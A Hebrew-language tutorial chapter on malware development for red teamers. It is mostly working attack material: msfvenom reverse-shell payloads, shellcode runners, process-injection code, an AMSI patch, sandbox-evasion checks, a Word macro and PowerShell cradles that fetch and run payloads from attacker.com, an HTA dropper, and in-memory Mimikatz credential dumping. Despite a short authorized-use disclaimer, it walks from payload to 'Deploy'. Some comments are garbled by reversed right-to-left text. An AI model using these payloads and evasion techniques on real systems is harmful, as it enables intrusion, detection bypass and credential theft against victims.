

פרק י"א — Malware Development: פיתוח AV Evasion- ו Payloads

מדריך מלא למתחילים — בעברית

פרק י"א — Malware Development: פיתוח Payloads ו-AV Evasion

אזהרה חשובה

כל מה שנכסה בפרק הזה הוא לצורכי מחקר, הבנה, וסביבות בדיקה מאושרות בלבד. כתיבת malware לשימוש בלתי מורשה היא עבירה פלילית. הידע כאן מיועד לאנשי Red Team, מפתחי הגנה, ואנשי מחקר.

מה זה Malware Development בהקשר של Red Teaming?

בעולם ה-malware, "red teaming" אינו אומר virus שמשחק עסקים — זה **payload** שמדמה מה שתוקף אמיתי היה עושה, לצורך בדיקת יכולות ההגנה של הארגון.

מה נפתח:

- **Shellcode** — קוד מכונה גולמי שמבצע פעולה (כמו פתיחת reverse shell)
- **Implants** — תוכנות שמתקשרות עם C2 server
- **Droppers** — תוכנות שמורידות ומריצות payload אחר
- **Loaders** — טוענות shellcode לזיכרון
- **Stagers** — שלב ראשון שמשך שלב שני גדול יותר

חלק א': יסודות Shellcode

מה זה Shellcode?

Shellcode הוא רצף bytes שמייצג קוד מכונה — הוא לא קובץ EXE, אלא bytes גולמיים שאפשר להחדיר לזיכרון של process ולהריץ ישירות.

למה shellcode?

- ניתן להזרקה ל-processes אחרים
- לא תמיד כותב לדיסק (in-memory execution)
- גמיש — אפשר להטמיע בכל מקום
- הבסיס של רוב ה-implants

```

# Reverse TCP Shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o shell.b

# Meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.100 LPORT=443 -f raw -o

# Linux reverse shell:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o shell_lin

# פלט כ-C array (לשימוש בקוד C):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f c
# unsigned char buf[] = "\xfc\x48\x83...";

# פלט כ-Python bytes:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f python
# buf = b""
# buf += b"\xfc\x48\x83\xe4\xf0\xe8"...

# פלט כ-PowerShell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f ps1

# שינוי פורמט:
msfvenom -p ... -f exe      # EXE
msfvenom -p ... -f dll      # DLL
msfvenom -p ... -f raw      # bytes גולמי
msfvenom -p ... -f c        # C array
msfvenom -p ... -f python   # Python
msfvenom -p ... -f powershell # PowerShell
msfvenom -p ... -f hex      # Hex string
msfvenom -p ... -f base64   # Base64

```

```
// shellcode_runner.c – הפשוט ביותר
// לינוקס:
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

// shellcode – לדוגמה execve /bin/sh
unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
                             "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
                             "\x53\x89\xe1\xb0\x0b\xcd\x80";

int main() {
    // הקצה זיכרון עם הרשאות קריאה+כתיבה+הרצה:
    void *mem = mmap(0, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    // העתק shellcode
    memcpy(mem, shellcode, sizeof(shellcode));

    // הרץ:
    ((void(*)())mem)();

    return 0;
}

// קמפיל:
// gcc shellcode_runner.c -o runner -z execstack
```

```
// Windows shellcode runner:
#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // msfvenom output

int main() {
    // VirtualAlloc – זיכרון executable:
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);

    :shellcode העתק //
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // CreateThread – חדש thread-הרץ ב:
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem,
                                   NULL, 0, NULL);

    :thread-שה-המתן thread יסיים:
    WaitForSingleObject(thread, INFINITE);

    return 0;
}

// קמפיל (Linux-מ cross-compile)
// x86_64-w64-mingw32-gcc shellcode_runner.c -o runner.exe
```

חלק ב': Process Injection

Process Injection = הכנסת קוד זדוני לתוך process לגיטימי שרץ (כמו explorer.exe, notepad.exe).
כך:

1. ה-AV לא רואה קובץ זדוני נפרד
2. הקוד רץ תחת שם process "נקי"
3. קשה יותר לגלות

```
// dll_injector.c – Windows

#include <windows.h>
#include <tlhelp32.h>
#include <string.h>

int main(int argc, char *argv[]) {
    DWORD targetPID = atoi(argv[1]);
    const char *dllPath = argv[2];

    // 1. פתח handle ל-process:
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

    // 2. הקצה זיכרון ב-process אחר:
    LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
                                       MEM_COMMIT, PAGE_READWRITE);

    // 3. כתוב נתיב DLL ל-זיכרון שהקצאנו:
    WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, NULL);

    // 4. צור thread שקורא LoadLibrary עם ה-DLL שלנו:
    LPVOID loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                       (LPTHREAD_START_ROUTINE)loadLibAddr,
                                       remoteMem, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);

    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}
```

שיטה 2: Process Hollowing

Process Hollowing = יצור process לגיטימי במצב Suspended, רוקן את ה-memory שלו, כתוב payload, המשך.

```
// קונספט בפסאוקוד:  
// 1. CreateProcess("notepad.exe", ..., CREATE_SUSPENDED, ...)  
// 2. ReadRemoteMemory → קרא PE header של notepad  
// 3. NtUnmapViewOfSection → "את" notepad מ-memory רוקן  
// 4. VirtualAllocEx → קצה space לpayload  
// 5. WriteProcessMemory → כתוב payload  
// 6. SetThreadContext → שנה instruction pointer של start של payload  
// 7. ResumeThread → המשך (עכשיו notepad.exe מריץ payload)  
  
// מימוש מלא – ראה github.com/m0n0ph1/Process-Hollowing
```

שיטה 3: Thread Hijacking

```
// 1. SuspendThread – עצור thread קיים  
// 2. GetThreadContext – קרא registers  
// 3. שנה RIP (instruction pointer) לnew shellcode  
// 4. כתוב shellcode לthread's stack  
// 5. SetThreadContext – עדכן registers  
// 6. ResumeThread – עם הקוד שלנו thread-המשך ה
```

```
// APC = Asynchronous Procedure Call
// כל thread ב-Windows יכול לקבל APCs
// אם thread נמצא ב-alertable state – הוא יריץ APCs שממתינים לו

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, targetTID);

LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                   MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL);

// הוסף APC לqueue של ה-thread:
QueueUserAPC((PAPCFUNC)remoteMem, hThread, 0);

// כשה-thread ייכנס ל-alertable wait – הוא יריץ את ה-shellcode
```

חלק ג': AV/EDR Evasion

מה ה-AV/EDR מחפש?

AV (Antivirus) — Static Analysis

- Signatures — patterns ידועים ב-bytes של הקובץ
- MD5/SHA256 Hash comparison — של קובץ ידוע
- Heuristics — patterns שנראים חשודים

EDR (Endpoint Detection & Response) — Behavioral Analysis

- API Hooking — ניטור קריאות ל-Windows API
- Memory scanning — סריקת זיכרון בזמן ריצה
- Process lineage — מי הפעיל מי
- Network monitoring — לאן מדבר ה-process
- Registry monitoring — מה נוגעים ברגיסטרי

Evasion 1: Encryption + Decryption at Runtime

הבעיה: msfvenom payloads מזוהים לפי signature.

הפתרון: הצפן את ה-shellcode, פענח בזמן ריצה.

```
// XOR encryption – פשוטה אבל עובדת נגד AV: static AV:
#include <windows.h>
#include <stdio.h>

// ה-shellcode מוצפן ב-XOR עם 0xAA:
unsigned char encrypted_shellcode[] = {
    // (כל byte של ה-shellcode XOR עם 0xAA)
    0x56, 0xE2, 0x29, 0x4A, ...
};

void xor_decrypt(unsigned char *data, int len, unsigned char key) {
    for (int i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

int main() {
    // פענח ב-runtime:
    xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), 0xAA);

    // הרץ:
    LPVOID mem = VirtualAlloc(NULL, sizeof(encrypted_shellcode),
                               MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(mem, encrypted_shellcode, sizeof(encrypted_shellcode));
    ((void(*)())mem)();
    return 0;
}
```

Python script להצפנת shellcode:

```
# encrypt_shellcode.py
shellcode = bytes([0xfc, 0x48, 0x83, ...]) # raw shellcode bytes
key = 0xAA

encrypted = bytes([b ^ key for b in shellcode])

:C arrayy הדפסה #
print("unsigned char encrypted_shellcode[] = {")
for i, b in enumerate(encrypted):
    print(f"0x{b:02x}", end=", ")
    if (i + 1) % 16 == 0:
        print()
print("};")
```

Evasion 2: Custom Syscalls (Bypassing EDR Hooks)

הבעיה: EDRs מ-hook-ים ל-Windows API functions ב-ntdll.dll כדי לנטר כל קריאה.

הפתרון: קריאה ישירה ל-syscalls בלי לעבור דרך ntdll.

```
// Direct Syscall – NtAllocateVirtualMemory:
VirtualAlloc → NtAllocateVirtualMemory → syscall במקום //
syscall number-ל ישירות ל- אנחנו קוראים //

:syscall stub הגדר //
(ה-syscall number משתנה בין versions של Windows) //
__declspec(naked) NTSTATUS NtAllocateVirtualMemory_syscall(...) {
    __asm {
        mov eax, 0x18 // syscall number (Windows 10)
        syscall
        ret
    }
}

// כלים שעושים את זה אוטומטית:
// SysWhispers2 – direct syscall stubs גנרטור של
// SysWhispers3 – randomization גרסה חדשה עם
// Tartarus' Gate – syscall alternative
```

:SysWhispers2

```
# הורדה:
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2

# גנרטור:
python3 syswhispers.py --preset common -o syscalls
# מייצר: syscalls.h, syscalls.c

# שלב בפרויקט שלך:
# #include "syscalls.h"
# ואז השתמש ב-Sw2NtAllocateVirtualMemory, Sw2NtCreateThreadEx וכו'
```

Evasion 3: AMSI Bypass

```
// AMSI (Antimalware Scan Interface) – ב-C:
// patch כדי שתמיד תחזיר לל-amsi.dll את AmsiScanBuffer

void AmsiPatch() {
    HMODULE amsi = LoadLibrary("amsi.dll");
    FARPROC AmsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");

    // patch: mov eax, 0x80070057 (E_INVALIDARG) ; ret
    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

    DWORD oldProtect;
    VirtualProtect(AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(AmsiScanBuffer, patch, sizeof(patch));
    VirtualProtect(AmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);
}
```

Evasion 4: Sandbox Detection

Sandboxes הן סביבות מבודדות ש-AV מריץ בהן קבצים חשודים לניתוח. אם ה-malware מזהה sandbox — הוא מתנהג "כשורה" וה-AV לא מגלה אותו.

```
// בדיקות sandbox נפוצות:

// 1. Sleep evasion – sandbox על sleep:
DWORD before = GetTickCount64();
Sleep(10000); // 10 seconds
DWORD after = GetTickCount64();
if (after - before < 9000) {
    // Sandbox! עצור
    return 0;
}

// 2. User interaction – sandbox עכבר לא מזיז:
POINT p1, p2;
GetCursorPos(&p1);
Sleep(5000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) {
    // אין תנועת עכבר – sandbox
    return 0;
}

// 3. Hostname check:
char hostname[256];
gethostname(hostname, sizeof(hostname));
// sandboxes נקראות לשמות כמו: SANDBOX, MALWARE, ANALYSIS, CUCKOO

// 4. Process count:
// רוב המכונות האמיתיות מריצות +50 processes
// לרוב sandboxes הרבה פחות processes

// 5. הבדיקת RAM:
MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(memStatus);
GlobalMemoryStatusEx(&memStatus);
if (memStatus.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) {
    // פחות מ-2GB RAM – חשוד
    return 0;
}
```

```
}

// 6. Disk size:
// sandboxes לרוב קטנות (< 100GB)
ULARGE_INTEGER freeBytesAvailable, totalBytes, freeBytes;
GetDiskFreeSpaceEx("C:\\", &freeBytesAvailable, &totalBytes, &freeBytes);
if (totalBytes.QuadPart < (100ULL * 1024 * 1024 * 1024)) {
    100GB – sandbox-מ פחות //
    return 0;
}

// 7. VM Detection:
// VMware CPUID trick:
int cpuInfo[4];
__cpuid(cpuInfo, 1);
if ((cpuInfo[2] >> 31) & 1) {
    // Hypervisor bit מוגדר – VM
    return 0;
}

// 8. Registry artifacts:
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools",
                0, KEY_READ, &hKey) == ERROR_SUCCESS) {
    // VMware מותקן – sandbox
    return 0;
}
```

Evasion 5: String Obfuscation

```
// AV מחפש strings חשודות כמו "cmd.exe", "powershell", "VirtualAlloc"

// XOR encode strings:
// "VirtualAlloc" → XOR encoded → decode at runtime

:string הצפן //
void xor_string(char *str, int len, char key) {
    for (int i = 0; i < len; i++) {
        str[i] ^= key;
    }
}

:בזמן ריצה: //
char virtualAlloc[] = { 0x26, 0x19, 0x1E, 0x18, 0x1B, 0x1D, 0x10,
                        0x0D, 0x1D, 0x1D, 0x18, 0x07, 0x00 }; // "VirtualAlloc" XOR 0x7F
xor_string(virtualAlloc, sizeof(virtualAlloc), 0x7F);

:השג function pointer בלי לקרוא את hashname //
FARPROC addr = GetProcAddress(GetModuleHandle(virtualAlloc), "...");
```

Evasion 6: Reflective DLL Injection

```
# Reflective DLL Injection:
# DLL שטוענת את עצמה לזיכרון בלי לעבור דרך LoadLibrary
# כך אין trace ב-list loaded modules

# PowerSploit ReflectivePEInjection:
Import-Module .\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes("payload.dll")
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName notepad

# Cobalt Strike BOFs (Beacon Object Files):
# קבצי COFF שרצים in-process בתוך Beacon
# לא יוצרים process חדש, לא כותבים לדיסק
```

Evasion 7: Donut — PE to Shellcode

Donut ממיר קבצי EXE/DLL ל-shellcode שרץ in-memory — כלי חיוני ל-evasion.

```
# התקנה:
git clone https://github.com/TheWover/donut
cd donut && make

# המרת EXE ל-shellcode
./donut -f 1 -o shellcode.bin payload.exe

# עם arguments
./donut -f 1 -o shellcode.bin payload.exe -p "arg1 arg2"

# DLL עם export:
./donut -f 1 -o shellcode.bin payload.dll -n ExportFunction -p "params"

# הצפנה (XOR)
./donut -f 1 -o shellcode.bin -e 1 payload.exe

# הצפנה (RotDecryptor)
./donut -f 1 -o shellcode.bin -e 3 payload.exe

# פלט כ-C array
./donut -f 2 -o shellcode.c payload.exe # C array
./donut -f 3 -o shellcode.rb payload.exe # Ruby
./donut -f 5 -o shellcode.py payload.exe # Python

# הרץ shellcode ב-C
# (דוגמה הייתה בחלק הקודם)
```

חלק ד': Payload Generators

1. msfvenom

```
# כבר ראינו אותו, אבל :encoding
# Multi-iteration XOR:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=443 \
-e x64/xor_dynamic -i 15 -f exe -o payload.exe

# Shikata Ga Nai (32-bit):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=443 \
-e x86/shikata_ga_nai -i 5 -f exe -o payload32.exe

# Bypass AV (לפעמים) עם template:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=443 \
-x /path/to/legitimate.exe -k -f exe -o payload.exe
```

2. Shellter

Shellter מזריק shellcode לתוך PE לגיטימי — AV רואה PE מוכר עם code ידוע.

```
# הרצה (Linux requires wine)
wine shellter.exe

# בחר: A (Automatic mode)
# PE target: wine /path/to/legit.exe
# Payload: L (listed) → 1 (meterpreter reverse TCP)
# LHOST: 10.10.10.100
# LPORT: 443
```

```
# Veil-Evasion – framework ל-AV bypass:
git clone https://github.com/Veil-Framework/Veil
cd Veil && ./config/setup.sh --force
```

הרצה: #

```
./Veil.py
```

```
use Evasion
list
use powershell/meterpreter/rev_tcp
set LHOST 10.10.10.100
set LPORT 443
generate
```

Nim-based Payloads .4

Nim הוא שפת תכנות שמקמפל ל-EXE קטן, ול-AV אין טביעות אצבע ל-Nim code.

```
# shellcode_runner.nim
import winim/lean

let shellcode = [...] # bytes

var exec_mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_R
copyMem(exec_mem, shellcode[0].unsafeAddr, shellcode.len)

let thread = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](exec_mem), nil, 0, nil)
WaitForSingleObject(thread, INFINITE)
```

קמפיל: #

```
nim c -d:release --opt:speed shellcode_runner.nim -o runner.exe
```

חלק ה': C2 Communication Protocols

HTTP/HTTPS Malleable C2

הסבר:

C2 traffic יכול לחקות traffic רגיל כדי לא להתגלות ב-Cobalt Strike. network monitoring קורא לזה **Malleable C2 Profiles**.

```
:Amazon traffic שמחקה profile לדוגמה #

set sleeptime "5000";      # 5 seconds between beacons
set jitter    "10";        # 10% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {
        header "Accept" "*/*";
        header "Host" "www.amazon.com";

        metadata {
            base64url;
            prepend "session-token=";
            prepend "skin=noskin=";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

    server {
        header "Server" "Server";
        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";

        output {
            print;
        }
    }
}
```

DNS C2 Protocol

```
# איך DNS C2 עובד:
# 1. Implant רוצה לשלוח פקודה → DNS query:
#   data.attacker.com → TXT record ← פקודה
#
# 2. Implant רוצה לשלוח data → DNS query:
#   BASE64_DATA.upload.attacker.com → DNS server ומחלץ ה-DNS שלנו קולט ומחלץ

# dnscat2 (exfiltration כבר כוסה בפרק) – mature solution

# Covenant DNS Listener:
# מוגדר מה-Covenant UI של Covenant

# Sliver DNS:
generate --dns c2.attacker.com --os windows
dns --domains c2.attacker.com
```

ICMP C2

```
// ICMP C2 קונספט:
// Ping packets data ב-payload field מוסתרים
// ICMP לרוב מאפשר AV/Firewall

// icmpsh (שימוש):
// https://github.com/bdamele/icmpsh
```

```
' נרצה כשמשתמש פותח מסמך – Microsoft Word macro
Sub AutoOpen()
    Dim url As String
    Dim file As String
    Dim shell As Object

    url = "http://attacker.com/payload.exe"
    file = Environ("TEMP") & "\update.exe"

:payload הורד '
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.Send

:שמור '
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1 ' binary
    stream.Open
    stream.Write xhr.responseBody
    stream.SaveToFile file
    stream.Close

:הרץ '
    Set shell = CreateObject("WScript.Shell")
    shell.Run file, 0, False
End Sub
```

```

# הכי נפוץ – download & execute בלי לגעת לדיסק:
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')

# HTTPS:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (New-Object Net.WebClient).DownloadString('https://attacker.com/stage2.ps1')

# Web Request:
IEX (Invoke-WebRequest 'http://attacker.com/stage2.ps1' -UseBasicParsing).Content

# מוצפן:
$encoded = (New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.b64')
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

# DropBox cradle:
IEX (New-Object Net.WebClient).DownloadString('https://dl.dropboxusercontent.com/s/xxxx/p

```

```
<!-- evil.hta – עם הרץ mshta.exe -->
<html>
<head>
<script language="VBScript">
Sub Window_OnLoad()
    Dim oShell
    Set oShell = CreateObject("WScript.Shell")

:PowerShell-ב-חורד '
    oShell.Run "powershell.exe -WindowStyle Hidden -ep bypass -c "" & _
        "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')" & _
        """"", 0, False

    Self.Close()
End Sub
</script>
</head>
<body>
<p>Loading...</p>
</body>
</html>
```

חלק ז': Living Memory — כלים In-Memory

Invoke-Mimikatz

```
# Mimikatz לדיסק לא כותב – ישירות בזיכרון:
IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
Invoke-Mimikatz -Command "lsadump::sam"
```

```
# PowerView |שירותי בז'יכרון|:
IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER/PowerView.ps1')
Get-DomainUser -Properties name,mail
Get-DomainGroupMember "Domain Admins"
```

Rubeus (Kerberos Attacks)

```
# Rubeus – כל'י .NET לKerberos attacks:
# download https://github.com/GhostPack/Rubeus

# Kerberoasting:
Rubeus.exe kerberoast /nowrap

# AS-REP Roasting:
Rubeus.exe asreproast /nowrap

# Pass-the-Ticket:
Rubeus.exe ptt /ticket:BASE64_TICKET

# Overpass-the-Hash:
Rubeus.exe asktgt /user:admin /rc4:NTLM_HASH /ptt

# Dump tickets:
Rubeus.exe dump /service:krbtgt /nowrap

# Monitor TGT requests:
Rubeus.exe monitor /targetuser:admin /interval:5
```

חלק ח': VirusTotal Strategy

VirusTotal הוא אתר שסורק קבצים עם 70+ AV engines. זה טוב לבדיקה — אבל חשוב לדעת:

אל תעלה payloads שאתה מתכנן להשתמש בהם לVT!

ה-samples נשמרים ו-AV vendors מוסיפים signatures עבורם.

```
# any.run – sandbox online אינטרקטיבי
# hybrid-analysis.com – free sandbox
# Joe Sandbox – enterprise sandbox
# Cuckoo Sandbox – self-hosted

# בדיקה מקומית:
# FLARE VM – Windows VM analysis
# REMnux – Linux distro malware analysis

# בדיקת AV detections ב-offline:
DefenderCheck.exe payload.exe # בדיקת Windows Defender

# ThreatCheck (fork של DefenderCheck):
ThreatCheck.exe -f payload.exe # מזהים bytes מצא איזה
ThreatCheck.exe -e amsi -f payload.ps1 # בדיקת AMSI
```

סיכום: Malware Development Workflow

```
1. כתוב shellcode / payload
  ↓
2. הצפן (XOR/AES)
  ↓
3. בדיקת static detection (ThreatCheck)
  ↓
4. הוסף sandbox evasion
  ↓
5. בדיקת ב-(any.run/offline) sandbox
  ↓
6. behavioral evasion מ-Process Injection
  ↓
7. AV עם Windows VM על Test
  ↓
8. Deploy
```

בפרק הבא: **פרק 12** — **Mobile Red Teaming**: Android/iOS, APK reverse engineering, Frida — hooking, certificate pinning bypass, ועוד.